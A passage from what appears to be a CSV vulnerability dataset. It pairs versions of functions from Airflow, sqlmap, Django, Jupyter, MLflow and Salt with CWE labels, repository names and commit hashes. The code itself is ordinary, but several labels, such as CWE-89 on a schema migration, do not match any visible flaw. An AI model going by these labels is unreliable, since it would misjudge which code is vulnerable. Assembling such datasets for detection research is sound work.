                        self.bag_dag(dag, parent_dag=dag, root_dag=dag)
                        if isinstance(dag._schedule_interval, six.string_types):
                            croniter(dag._schedule_interval)
                        found_dags.append(dag)
                        found_dags += dag.subdags
                    except (CroniterBadCronError,
                            CroniterBadDateError,
                            CroniterNotAlphaError) as cron_e:
                        self.log.exception(""Failed to bag_dag: %s"", dag.full_filepath)
                        self.import_errors[dag.full_filepath] = \
                            ""Invalid Cron expression: "" + str(cron_e)
                        self.file_last_changed[dag.full_filepath] = \
                            file_last_changed_on_disk
                    except AirflowDagCycleException as cycle_exception:
                        self.log.exception(""Failed to bag_dag: %s"", dag.full_filepath)
                        self.import_errors[dag.full_filepath] = str(cycle_exception)
                        self.file_last_changed[dag.full_filepath] = \
                            file_last_changed_on_disk

        self.file_last_changed[filepath] = file_last_changed_on_disk
        return found_dags",CWE-327,apache/airflow,d5a5b9d9f1f1efb67ffed4d8e6ef3e0a06467bed,"def process_file(self, filepath, only_if_updated=True, safe_mode=True):
        """"""
        Given a path to a python module or zip file, this method imports
        the module and look for dag objects within it.
        """"""
        from airflow.models.dag import DAG  # Avoid circular import

        found_dags = []

        # if the source file no longer exists in the DB or in the filesystem,
        # return an empty list
        # todo: raise exception?
        if filepath is None or not os.path.isfile(filepath):
            return found_dags

        try:
            # This failed before in what may have been a git sync
            # race condition
            file_last_changed_on_disk = datetime.fromtimestamp(os.path.getmtime(filepath))
            if only_if_updated \
                    and filepath in self.file_last_changed \
                    and file_last_changed_on_disk == self.file_last_changed[filepath]:
                return found_dags

        except Exception as e:
            self.log.exception(e)
            return found_dags

        mods = []
        is_zipfile = zipfile.is_zipfile(filepath)
        if not is_zipfile:
            if safe_mode:
                with open(filepath, 'rb') as f:
                    content = f.read()
                    if not all([s in content for s in (b'DAG', b'airflow')]):
                        self.file_last_changed[filepath] = file_last_changed_on_disk
                        # Don't want to spam user with skip messages
                        if not self.has_logged:
                            self.has_logged = True
                            self.log.info(
                                ""File %s assumed to contain no DAGs. Skipping."",
                                filepath)
                        return found_dags

            self.log.debug(""Importing %s"", filepath)
            org_mod_name, _ = os.path.splitext(os.path.split(filepath)[-1])
            mod_name = ('unusual_prefix_' +
                        hashlib.sha1(filepath.encode('utf-8')).hexdigest() +
                        '_' + org_mod_name)

            if mod_name in sys.modules:
                del sys.modules[mod_name]

            with timeout(configuration.conf.getint('core', ""DAGBAG_IMPORT_TIMEOUT"")):
                try:
                    m = imp.load_source(mod_name, filepath)
                    mods.append(m)
                except Exception as e:
                    self.log.exception(""Failed to import: %s"", filepath)
                    self.import_errors[filepath] = str(e)
                    self.file_last_changed[filepath] = file_last_changed_on_disk

        else:
            zip_file = zipfile.ZipFile(filepath)
            for mod in zip_file.infolist():
                head, _ = os.path.split(mod.filename)
                mod_name, ext = os.path.splitext(mod.filename)
                if not head and (ext == '.py' or ext == '.pyc'):
                    if mod_name == '__init__':
                        self.log.warning(""Found __init__.%s at root of %s"", ext, filepath)
                    if safe_mode:
                        with zip_file.open(mod.filename) as zf:
                            self.log.debug(""Reading %s from %s"", mod.filename, filepath)
                            content = zf.read()
                            if not all([s in content for s in (b'DAG', b'airflow')]):
                                self.file_last_changed[filepath] = (
                                    file_last_changed_on_disk)
                                # todo: create ignore list
                                # Don't want to spam user with skip messages
                                if not self.has_logged:
                                    self.has_logged = True
                                    self.log.info(
                                        ""File %s assumed to contain no DAGs. Skipping."",
                                        filepath)

                    if mod_name in sys.modules:
                        del sys.modules[mod_name]

                    try:
                        sys.path.insert(0, filepath)
                        m = importlib.import_module(mod_name)
                        mods.append(m)
                    except Exception as e:
                        self.log.exception(""Failed to import: %s"", filepath)
                        self.import_errors[filepath] = str(e)
                        self.file_last_changed[filepath] = file_last_changed_on_disk

        for m in mods:
            for dag in list(m.__dict__.values()):
                if isinstance(dag, DAG):
                    if not dag.full_filepath:
                        dag.full_filepath = filepath
                        if dag.fileloc != filepath and not is_zipfile:
                            dag.fileloc = filepath
                    try:
                        dag.is_subdag = False
                        self.bag_dag(dag, parent_dag=dag, root_dag=dag)
                        if isinstance(dag._schedule_interval, six.string_types):
                            croniter(dag._schedule_interval)
                        found_dags.append(dag)
                        found_dags += dag.subdags
                    except (CroniterBadCronError,
                            CroniterBadDateError,
                            CroniterNotAlphaError) as cron_e:
                        self.log.exception(""Failed to bag_dag: %s"", dag.full_filepath)
                        self.import_errors[dag.full_filepath] = \
                            ""Invalid Cron expression: "" + str(cron_e)
                        self.file_last_changed[dag.full_filepath] = \
                            file_last_changed_on_disk
                    except AirflowDagCycleException as cycle_exception:
                        self.log.exception(""Failed to bag_dag: %s"", dag.full_filepath)
                        self.import_errors[dag.full_filepath] = str(cycle_exception)
                        self.file_last_changed[dag.full_filepath] = \
                            file_last_changed_on_disk

        self.file_last_changed[filepath] = file_last_changed_on_disk
        return found_dags"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def expandAsteriskForColumns(expression):
    """"""
    If the user provided an asterisk rather than the column(s)
    name, sqlmap will retrieve the columns itself and reprocess
    the SQL query string (expression)
    """"""

    match = re.search(r""(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|\w+|\.)+)"", expression)

    if match:
        infoMsg = ""you did not provide the fields in your query. ""
        infoMsg += ""sqlmap will retrieve the column names itself""
        logger.info(infoMsg)

        _ = match.group(2).replace("".."", '.').replace("".dbo."", '.')
        db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)

        if db is None:
            if expression != conf.sqlQuery:
                conf.db = db
            elif conf.db:
                expression = re.sub(r""([^\w])%s"" % re.escape(conf.tbl), r""\g<1>%s.%s"" % (conf.db, conf.tbl), expression)
        else:
            conf.db = db

        conf.db = safeSQLIdentificatorNaming(conf.db)
        conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True)

        columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)

        if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
            columns = list(columnsDict[conf.db][conf.tbl].keys())
            columns.sort()
            columnsStr = "", "".join(column for column in columns)
            expression = expression.replace('*', columnsStr, 1)

            infoMsg = ""the query with expanded column name(s) is: ""
            infoMsg += ""%s"" % expression
            logger.info(infoMsg)

    return expression",,sqlmapproject/sqlmap,96a2c9170187a7c08e040b855954a81050d9d1d9,"def expandAsteriskForColumns(expression):
    """"""
    If the user provided an asterisk rather than the column(s)
    name, sqlmap will retrieve the columns itself and reprocess
    the SQL query string (expression)
    """"""

    match = re.search(r""(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)"", expression)

    if match:
        infoMsg = ""you did not provide the fields in your query. ""
        infoMsg += ""sqlmap will retrieve the column names itself""
        logger.info(infoMsg)

        _ = match.group(2).replace("".."", '.').replace("".dbo."", '.')
        db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)

        if db is None:
            if expression != conf.sqlQuery:
                conf.db = db
            elif conf.db:
                expression = re.sub(r""([^\w])%s"" % re.escape(conf.tbl), r""\g<1>%s.%s"" % (conf.db, conf.tbl), expression)
        else:
            conf.db = db

        conf.db = safeSQLIdentificatorNaming(conf.db)
        conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True)

        columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)

        if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
            columns = list(columnsDict[conf.db][conf.tbl].keys())
            columns.sort()
            columnsStr = "", "".join(column for column in columns)
            expression = expression.replace('*', columnsStr, 1)

            infoMsg = ""the query with expanded column name(s) is: ""
            infoMsg += ""%s"" % expression
            logger.info(infoMsg)

    return expression"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/base.py,0,"def _get_field_value_map(self, meta, exclude=None):
        if exclude is None:
            exclude = set()
        meta = meta or self._meta
        field_map = {
            field.name: Value(getattr(self, field.attname), field)
            for field in meta.local_concrete_fields
            if field.name not in exclude and not field.generated
        }
        if ""pk"" not in exclude:
            field_map[""pk""] = Value(self.pk, meta.pk)
        return field_map",CWE-Unknown,django/django,0602fc2124f3e1f1562d497607e0efd5474b5831,"def _get_field_value_map(self, meta, exclude=None):
        if exclude is None:
            exclude = set()
        meta = meta or self._meta
        field_map = {
            field.name: Value(getattr(self, field.attname), field)
            for field in meta.local_concrete_fields
            if field.name not in exclude
        }
        if ""pk"" not in exclude:
            field_map[""pk""] = Value(self.pk, meta.pk)
        return field_map"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/__init__.py,0,"def import_all_models():
    for name in __lazy_imports:
        __getattr__(name)

    import airflow.jobs.backfill_job
    import airflow.jobs.base_job
    import airflow.jobs.dag_processor_job
    import airflow.jobs.local_task_job
    import airflow.jobs.scheduler_job
    import airflow.jobs.triggerer_job
    import airflow.models.dagwarning
    import airflow.models.dataset
    import airflow.models.serialized_dag
    import airflow.models.tasklog
    import airflow.www.fab_security.sqla.models",CWE-Unknown,apache/airflow,c858509d186929965219f0d6dce6621dd8edf154,"def import_all_models():
    for name in __lazy_imports:
        __getattr__(name)

    import airflow.jobs.backfill_job
    import airflow.jobs.base_job
    import airflow.jobs.local_task_job
    import airflow.jobs.scheduler_job
    import airflow.jobs.triggerer_job
    import airflow.models.dagwarning
    import airflow.models.dataset
    import airflow.models.serialized_dag
    import airflow.models.tasklog
    import airflow.www.fab_security.sqla.models"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_run_endpoint.py,1,"def test_should_respond_200(self, session):
        dagrun_model = DagRun(
            dag_id=""TEST_DAG_ID"",
            run_id=""TEST_DAG_RUN_ID"",
            run_type=DagRunType.MANUAL,
            execution_date=timezone.parse(self.default_time),
            start_date=timezone.parse(self.default_time),
            external_trigger=True,
            state=""running"",
        )
        session.add(dagrun_model)
        session.commit()
        result = session.query(DagRun).all()
        assert len(result) == 1
        response = self.client.get(
            ""api/v1/dags/TEST_DAG_ID/dagRuns/TEST_DAG_RUN_ID"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 200
        assert response.json == {
            ""dag_id"": ""TEST_DAG_ID"",
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""end_date"": None,
            ""state"": ""running"",
            ""logical_date"": self.default_time,
            ""execution_date"": self.default_time,
            ""external_trigger"": True,
            ""start_date"": self.default_time,
            ""conf"": {},
            ""data_interval_end"": None,
            ""data_interval_start"": None,
            ""last_scheduling_decision"": None,
            ""run_type"": ""manual"",
            ""notes"": None,
        }",CWE-703,apache/airflow,dc03b9081f47c11d6c3beb1a2c30bb75385c125c,"def test_should_respond_200(self, session):
        dagrun_model = DagRun(
            dag_id=""TEST_DAG_ID"",
            run_id=""TEST_DAG_RUN_ID"",
            run_type=DagRunType.MANUAL,
            execution_date=timezone.parse(self.default_time),
            start_date=timezone.parse(self.default_time),
            external_trigger=True,
            state=""running"",
        )
        session.add(dagrun_model)
        session.commit()
        result = session.query(DagRun).all()
        assert len(result) == 1
        response = self.client.get(
            ""api/v1/dags/TEST_DAG_ID/dagRuns/TEST_DAG_RUN_ID"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 200
        expected_response = {
            ""dag_id"": ""TEST_DAG_ID"",
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""end_date"": None,
            ""state"": ""running"",
            ""logical_date"": self.default_time,
            ""execution_date"": self.default_time,
            ""external_trigger"": True,
            ""start_date"": self.default_time,
            ""conf"": {},
            ""data_interval_end"": None,
            ""data_interval_start"": None,
            ""last_scheduling_decision"": None,
            ""run_type"": ""manual"",
        }
        assert response.json == expected_response"
,UNKNOWN,UNKNOWN,mlflow/store/db_migrations/versions/6dca653c92e6_convert_experiment_id_to_big_int.py,1,"def upgrade():
    # As part of MLflow 2.0 upgrade, the Experiment table's primary key `experiment_id`
    # has changed from an auto-incrementing column to a non-nullable unique-constrained Integer
    # column to support the uuid-based random id generation change.

    engine = op.get_bind()
    engine_name = engine.engine.name

    # NB: sqlite doesn't support foreign keys even if they are defined. Altering a constraint
    # in sqlite outside of batch operations doesn't work.
    if engine_name != ""sqlite"":

        foreign_keys_in_experiment_tags = inspect(engine).get_foreign_keys(""experiment_tags"")
        fk = foreign_keys_in_experiment_tags[0]
        op.drop_constraint(fk[""name""], table_name=""experiment_tags"", type_=""foreignkey"")

        # NB: MSSQL and MySQL have special restrictions on batch updates that foreign keys.
        # In order to handle type casting modifications, these constraints need to be dropped
        # prior to any ALTER commands within the batch context. After type changes are complete, we
        # will recreate these foreign keys (and give them names so that inspection isn't
        # required in the future).

        foreign_keys_in_runs = inspect(engine).get_foreign_keys(""runs"")
        fk_run = foreign_keys_in_runs[0]
        op.drop_constraint(fk_run[""name""], table_name=""runs"", type_=""foreignkey"")

        # NB: MSSQL requires that modifications to primary key columns do not have a primary key
        # status assigned to the columns. These primary keys will be recreated after altering
        # the columns typing.
        if engine_name == ""mssql"":
            op.drop_constraint(""experiment_pk"", table_name=""experiments"", type_=""primary"")
            op.drop_constraint(""experiment_tag_pk"", table_name=""experiment_tags"", type_=""primary"")

        experiments_table_args = PrimaryKeyConstraint(""experiment_id"", name=""experiment_pk"")
    else:
        experiments_table_args = []

    # Remove the auto-increment
    with op.batch_alter_table(
        ""experiments"",
        table_args=experiments_table_args,
    ) as batch_op:

        if engine_name == ""mssql"":
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=None,
                existing_comment=None,
            )
        else:
            experiment_id_seq = Sequence(""experiment_id_seq"", start=1)
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=experiment_id_seq.next_value(),
                server_default=None,
            )

    if engine_name == ""sqlite"":
        # NB: sqlite will perform an in-place copy of a table and recreate constraints as defined
        # in the `table_args` argument to the batch constructor.
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
            ForeignKeyConstraint(
                columns=[""experiment_id""], refcolumns=[""experiments.experiment_id""]
            ),
        )
    else:
        # For postgres and mysql, the primary key definition will be applied to the altered table
        # if defined in the `table_args` argument (and will be ignored in mssql).
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
        )

    with op.batch_alter_table(
        ""experiment_tags"",
        table_args=experiments_tags_table_args,
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=False,
            nullable=False,
        )

    with op.batch_alter_table(
        ""runs"",
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=True,
        )
        if engine_name == ""sqlite"":
            # sqlite will not port over unnamed constraints. Existing version has this
            # constraint defined as `CHECK()` rather than `CONSTRAINT <namme> CHECK()`
            batch_op.create_check_constraint(
                constraint_name=""status"",
                condition=""status IN ('SCHEDULED', 'FAILED', 'FINISHED', 'RUNNING', 'KILLED')"",
            )

    # NB: MSSQL identity columns cannot be modified. Copying data to new column.
    # Then, drooping original and renaming the new column.
    if engine_name == ""mssql"":

        # create the new column (cannot create non-nullable due to 'empty' column)
        op.add_column(
            ""experiments"", sa.Column(""exp_id"", sa.BigInteger, autoincrement=False, nullable=True)
        )

        # Existing `experiment_id` column due to autoincrement, has an identity property.
        # Allow for inserts in mssql with this column present.
        op.execute(""SET IDENTITY_INSERT experiments ON;"")

        # perform data migration by copying all experiment_id data to temporary column
        op.execute(""UPDATE experiments SET exp_id = experiment_id"")

        # drop column the old experiment_id column
        op.drop_column(table_name=""experiments"", column_name=""experiment_id"")

        # rename temporary column with required mssql arguments for converting to nullable
        op.alter_column(
            table_name=""experiments"",
            column_name=""exp_id"",
            new_column_name=""experiment_id"",
            existing_type=sa.BigInteger,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=False,
        )

        # NB: there is no need to unset identity inserts since the identity column has been dropped.

    if engine_name != ""sqlite"":

        # NB: mssql requires that foreign keys reference primary keys prior to
        # creation of a foreign key. Recreate the primary keys that were previously dropped.
        if engine.engine.name == ""mssql"":
            op.create_primary_key(
                constraint_name=""experiment_pk"", table_name=""experiments"", columns=[""experiment_id""]
            )
            op.create_primary_key(
                constraint_name=""experiment_tag_pk"",
                table_name=""experiment_tags"",
                columns=[""key"", ""experiment_id""],
            )

        # Recreate the foreign key and name it for future direct reference
        op.create_foreign_key(
            constraint_name=""fk_experiment_tag"",
            source_table=""experiment_tags"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

        op.create_foreign_key(
            constraint_name=""fk_runs_experiment_id"",
            source_table=""runs"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

    _logger.info(""Conversion of experiment_id from autoincrement complete!"")",CWE-89,mlflow/mlflow,ecb6a0c462c9d33f0e425035326b7b7733fea0da,"def upgrade():
    # As part of MLflow 2.0 upgrade, the Experiment table's primary key `experiment_id`
    # has changed from an auto-incrementing column to a non-nullable unique-constrained Integer
    # column to support the uuid-based random id generation change.

    engine = op.get_bind()
    engine_name = engine.engine.name

    # NB: sqlite doesn't support foreign keys even if they are defined. Altering a constraint
    # in sqlite outside of batch operations doesn't work.
    if engine_name != ""sqlite"":

        foreign_keys_in_experiment_tags = inspect(engine).get_foreign_keys(""experiment_tags"")
        fk = foreign_keys_in_experiment_tags[0]
        op.drop_constraint(fk[""name""], table_name=""experiment_tags"", type_=""foreignkey"")

        # NB: MSSQL and MySQL have special restrictions on batch updates that foreign keys.
        # In order to handle type casting modifications, these constraints need to be dropped
        # prior to any ALTER commands within the batch context. After type changes are complete, we
        # will recreate these foreign keys (and give them names so that inspection isn't
        # required in the future).

        foreign_keys_in_runs = inspect(engine).get_foreign_keys(""runs"")
        fk_run = foreign_keys_in_runs[0]
        op.drop_constraint(fk_run[""name""], table_name=""runs"", type_=""foreignkey"")

        # NB: MSSQL requires that modifications to primary key columns do not have a primary key
        # status assigned to the columns. These primary keys will be recreated after altering
        # the columns typing.
        if engine_name == ""mssql"":
            op.drop_constraint(""experiment_pk"", table_name=""experiments"", type_=""primary"")
            op.drop_constraint(""experiment_tag_pk"", table_name=""experiment_tags"", type_=""primary"")

        experiments_table_args = PrimaryKeyConstraint(""experiment_id"", name=""experiment_pk"")
    else:
        experiments_table_args = []

    with op.batch_alter_table(
        ""experiments"",
        table_args=experiments_table_args,
    ) as batch_op:

        if engine_name == ""mssql"":
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=None,
                existing_comment=None,
            )
        else:
            experiment_id_seq = Sequence(""experiment_id_seq"", start=1)
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=experiment_id_seq.next_value(),
                server_default=None,
            )

    if engine_name == ""sqlite"":
        # NB: sqlite will perform an in-place copy of a table and recreate constraints as defined
        # in the `table_args` argument to the batch constructor.
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
            ForeignKeyConstraint(
                columns=[""experiment_id""], refcolumns=[""experiments.experiment_id""]
            ),
        )
    else:
        # For postgres and mysql, the primary key definition will be applied to the altered table
        # if defined in the `table_args` argument (and will be ignored in mssql).
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
        )

    with op.batch_alter_table(
        ""experiment_tags"",
        table_args=experiments_tags_table_args,
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=False,
            nullable=False,
        )

    with op.batch_alter_table(
        ""runs"",
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=True,
        )
        if engine_name == ""sqlite"":
            # sqlite will not port over unnamed constraints. Existing version has this
            # constraint defined as `CHECK()` rather than `CONSTRAINT <namme> CHECK()`
            batch_op.create_check_constraint(
                constraint_name=""status"",
                condition=""status IN ('SCHEDULED', 'FAILED', 'FINISHED', 'RUNNING', 'KILLED')"",
            )

    # NB: MSSQL identity columns cannot be modified. Copying data to new column.
    # Then, drooping original and renaming the new column.
    if engine_name == ""mssql"":

        # create the new column (cannot create non-nullable due to 'empty' column)
        op.add_column(
            ""experiments"", sa.Column(""exp_id"", sa.BigInteger, autoincrement=False, nullable=True)
        )

        # Existing `experiment_id` column due to autoincrement, has an identity property.
        # Allow for inserts in mssql with this column present.
        op.execute(""SET IDENTITY_INSERT experiments ON;"")

        # perform data migration by copying all experiment_id data to temporary column
        op.execute(""UPDATE experiments SET exp_id = experiment_id"")

        # drop column the old experiment_id column
        op.drop_column(table_name=""experiments"", column_name=""experiment_id"")

        # rename temporary column with required mssql arguments for converting to nullable
        op.alter_column(
            table_name=""experiments"",
            column_name=""exp_id"",
            new_column_name=""experiment_id"",
            existing_type=sa.BigInteger,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=False,
        )

        # NB: there is no need to unset identity inserts since the identity column has been dropped.

    if engine_name != ""sqlite"":

        # NB: mssql requires that foreign keys reference primary keys prior to
        # creation of a foreign key. Recreate the primary keys that were previously dropped.
        if engine.engine.name == ""mssql"":
            op.create_primary_key(
                constraint_name=""experiment_pk"", table_name=""experiments"", columns=[""experiment_id""]
            )
            op.create_primary_key(
                constraint_name=""experiment_tag_pk"",
                table_name=""experiment_tags"",
                columns=[""key"", ""experiment_id""],
            )

        # Recreate the foreign key and name it for future direct reference
        op.create_foreign_key(
            constraint_name=""fk_experiment_tag"",
            source_table=""experiment_tags"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

        op.create_foreign_key(
            constraint_name=""fk_runs_experiment_id"",
            source_table=""runs"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

    _logger.info(""Conversion of experiment_id from autoincrement complete!"")"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/fileio.py,0,"def atomic_writing(path, text=True, encoding='utf-8', log=None, **kwargs):
    """"""Context manager to write to a file only if the entire write is successful.

    This works by copying the previous file contents to a temporary file in the
    same directory, and renaming that file back to the target if the context
    exits with an error. If the context is successful, the new data is synced to
    disk and the temporary file is removed.

    Parameters
    ----------
    path : str
      The target file to write to.

    text : bool, optional
      Whether to open the file in text mode (i.e. to write unicode). Default is
      True.

    encoding : str, optional
      The encoding to use for files opened in text mode. Default is UTF-8.

    **kwargs
      Passed to :func:`io.open`.
    """"""
    # realpath doesn't work on Windows: https://bugs.python.org/issue9949
    # Luckily, we only need to resolve the file itself being a symlink, not
    # any of its directories, so this will suffice:
    if os.path.islink(path):
        path = os.path.join(os.path.dirname(path), os.readlink(path))

    tmp_path = path_to_intermediate(path)

    if os.path.isfile(path):
        copy2_safe(path, tmp_path, log=log)

    if text:
        # Make sure that text files have Unix linefeeds by default
        kwargs.setdefault('newline', '\n')
        fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
    else:
        fileobj = io.open(path, 'wb', **kwargs)

    try:
        yield fileobj
    except:
        # Failed! Move the backup file back to the real path to avoid corruption
        fileobj.close()
        replace_file(tmp_path, path)
        raise

    # Flush to disk
    fileobj.flush()
    os.fsync(fileobj.fileno())
    fileobj.close()

    # Written successfully, now remove the backup copy
    if os.path.isfile(tmp_path):
        os.remove(tmp_path)",,jupyter/notebook,5ede4c1243e702b474bcadca36c8912ac763acfc,"def atomic_writing(path, text=True, encoding='utf-8', log=None, **kwargs):
    """"""Context manager to write to a file only if the entire write is successful.

    This works by copying the previous file contents to a temporary file in the
    same directory, and renaming that file back to the target if the context
    exits with an error. If the context is successful, the new data is synced to
    disk and the temporary file is removed.

    Parameters
    ----------
    path : str
      The target file to write to.

    text : bool, optional
      Whether to open the file in text mode (i.e. to write unicode). Default is
      True.

    encoding : str, optional
      The encoding to use for files opened in text mode. Default is UTF-8.

    **kwargs
      Passed to :func:`io.open`.
    """"""
    # realpath doesn't work on Windows: http://bugs.python.org/issue9949
    # Luckily, we only need to resolve the file itself being a symlink, not
    # any of its directories, so this will suffice:
    if os.path.islink(path):
        path = os.path.join(os.path.dirname(path), os.readlink(path))

    tmp_path = path_to_intermediate(path)

    if os.path.isfile(path):
        copy2_safe(path, tmp_path, log=log)

    if text:
        # Make sure that text files have Unix linefeeds by default
        kwargs.setdefault('newline', '\n')
        fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
    else:
        fileobj = io.open(path, 'wb', **kwargs)

    try:
        yield fileobj
    except:
        # Failed! Move the backup file back to the real path to avoid corruption
        fileobj.close()
        replace_file(tmp_path, path)
        raise

    # Flush to disk
    fileobj.flush()
    os.fsync(fileobj.fileno())
    fileobj.close()

    # Written successfully, now remove the backup copy
    if os.path.isfile(tmp_path):
        os.remove(tmp_path)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_mdadm_raid.py,1,"def test_present():
    """"""
    Test to verify that the raid is present
    """"""
    ret = [
        {
            ""changes"": {},
            ""comment"": ""Raid salt already present."",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {},
            ""comment"": (
                ""Devices are a mix of RAID constituents with multiple MD_UUIDs:""
                "" ['6be5fc45:05802bba:1c2d6722:666f0e03',""
                "" 'ffffffff:ffffffff:ffffffff:ffffffff'].""
            ),
            ""name"": ""salt"",
            ""result"": False,
        },
        {
            ""changes"": {},
            ""comment"": ""Raid will be created with: True"",
            ""name"": ""salt"",
            ""result"": None,
        },
        {
            ""changes"": {},
            ""comment"": ""Raid salt failed to be created."",
            ""name"": ""salt"",
            ""result"": False,
        },
        {
            ""changes"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""},
            ""comment"": ""Raid salt created."",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {
                ""added"": [""dev1""],
                ""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03"",
            },
            ""comment"": ""Raid salt assembled. Added new device dev1 to salt.\n"",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {""added"": [""dev1""]},
            ""comment"": ""Raid salt already present. Added new device dev1 to salt.\n"",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {},
            ""comment"": ""Raid salt failed to be assembled."",
            ""name"": ""salt"",
            ""result"": False,
        },
    ]

    mock_raid_list_exists = MagicMock(
        return_value={""salt"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}}
    )
    mock_raid_list_missing = MagicMock(return_value={})

    mock_file_access_ok = MagicMock(return_value=True)

    mock_raid_examine_ok = MagicMock(
        return_value={""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}
    )
    mock_raid_examine_missing = MagicMock(return_value={})

    mock_raid_create_success = MagicMock(return_value=True)
    mock_raid_create_fail = MagicMock(return_value=False)

    mock_raid_assemble_success = MagicMock(return_value=True)
    mock_raid_assemble_fail = MagicMock(return_value=False)

    mock_raid_add_success = MagicMock(return_value=True)

    mock_raid_save_config = MagicMock(return_value=True)

    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_exists,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_ok,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[0]

    mock_raid_examine_mixed = MagicMock(
        side_effect=[
            {""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""},
            {""MD_UUID"": ""ffffffff:ffffffff:ffffffff:ffffffff""},
        ]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_mixed,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[1]

    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_missing,
            ""raid.create"": mock_raid_create_success,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": True}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[2]

    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_missing,
            ""raid.create"": mock_raid_create_fail,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[3]

    mock_raid_list_create = MagicMock(
        side_effect=[{}, {""salt"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_create,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_missing,
            ""raid.create"": mock_raid_create_success,
            ""raid.save_config"": mock_raid_save_config,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
